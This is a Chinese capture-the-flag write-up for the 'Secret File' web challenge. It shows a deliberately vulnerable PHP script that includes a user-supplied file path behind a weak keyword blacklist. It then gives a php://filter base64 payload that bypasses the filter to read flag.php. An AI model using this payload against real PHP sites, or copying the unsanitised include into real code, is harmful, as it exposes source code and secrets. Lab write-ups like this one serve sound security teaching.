[极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File
打开靶机,发现页面什么东西都没有,查看源代码,发现有一个新链接,我们就打开看一看
发现是这样一个页面,直接点击,发现直接变成一个end网页了
再去secret的页面看看源代码里面有什么,发现也有一个链接,我们也打开看看,发现其实就是这个end页面,这个end页面的源代码里面就没有任何东西了
所以我们尝试去抓个包看看,去访问这个action.php,出现了一个文件的回显
我们再去访问这个文件secr3t.php
给出了这个flag文件的提示,我们尝试直接去访问这个flag文件,发现是没有直接回显的,所以我们先回到原来的网页上访问这几个文件看看
去访问这个secr3t.php文件,发现页面上是有代码的,我们进行代码审计
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
strstr(a,b)函数,返回从b字符串第一次出现的位置,并返回字符串的剩余部分
<?php
echo strstr("hello world","llo");
?>
返回llo world
stristr()函数作用和strstr函数作用相同,所以那一段if语句的意思就是过滤了../ dat a 以及input协议。所以我们的想法是尝试用filter伪协议进行读取
filter伪协议:
?file=php://filter/convert.base64-encode/resource=flag.php
执行之后就出现了一段base64加密的编码,我们进行解密就可以得到flag了